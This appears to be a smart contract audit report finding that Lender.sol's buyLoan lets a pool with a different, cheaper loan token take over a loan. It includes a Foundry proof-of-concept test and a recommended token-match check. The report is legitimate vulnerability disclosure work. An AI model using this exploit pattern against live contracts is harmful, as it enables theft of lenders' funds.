20,000 USDC
View results
Submission Details
Severity: high
Valid

Missing Check for Matching Loan Tokens in "buyLoan" Function in Lender.sol

Summary

This audit report provides an assessment of the "buyLoan" function in the Lender.sol smart contract. It has been identified that the function lacks a check to ensure that the loan token of the Pool matches the loan token of the loan being purchased. This vulnerability could enable an attacker to buy a loan using a different, potentially cheaper token, potentially leading to financial losses for users.

Vulnerability Details

The "buyLoan" function in the Lender.sol contract allows users to purchase a loan from the IPool by providing the required loanId. However, the function does not verify that the loan token of the Pool matches the loan token of the loan being purchased. As a result, an attacker could exploit this vulnerability by providing a loanId that belongs to a different IPool with a cheaper loan token. This would allow the attacker to acquire the loan at more favorable rate, potentially leading to financial losses for the lender or other users.

Proof Of Concept (POC)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
TERC20 public token3;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
token3 = new TERC20();
loanToken.mint(address(lender1), 100000 * 10 ** 18);
loanToken.mint(address(lender2), 100000 * 10 ** 18);
token3.mint(address(lender2), 100000 * 10 ** 18);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
token3.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function test_borrow() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 1000 * 10 ** 18);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
//assertEq(loanToken.balanceOf(address(borrower)), 995 * 10 ** 17);
//assertEq(collateralToken.balanceOf(address(lender)), 100 * 10 ** 18);
//(, , , , poolBalance, , , , ) = lender.pools(poolId);
//assertEq(poolBalance, 900 * 10 ** 18);
}
function test_zapBuyLoan() public {
test_borrow();
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(token3),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
lender.zapBuyLoan(p, 0);
assertEq(lender.getLoanLender(0), address(lender2));
assertEq(token3.balanceOf(address(lender2)), 99000 * 10 ** 18);
}
}

Impact

The absence of a check to match loan tokens in the "buyLoan" function creates a loophole that could be exploited by attackers. If an attacker identifies a loan with a different IPool that offers a cheaper loan token, they can use the "buyLoan" function to purchase the loan using the cheaper token. This could result in losses for the lender or other users who may not receive the expected repayment amount.

Tools Used

VScode, Foundry test

Recommendations

To address the vulnerability, it is recommended to implement a check in the "buyLoan" function to ensure that the loan token of the IPool matches the loan token of the loan being purchased. This can be achieved by comparing the loan tokens before proceeding with the loan purchase transaction.

if (pool.loanToken != loan.loanToken) revert TokenMismatch();

By adding this check, the contract will prevent loans from being purchased using a different loan token, mitigating the risk of financial losses due to token discrepancies.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.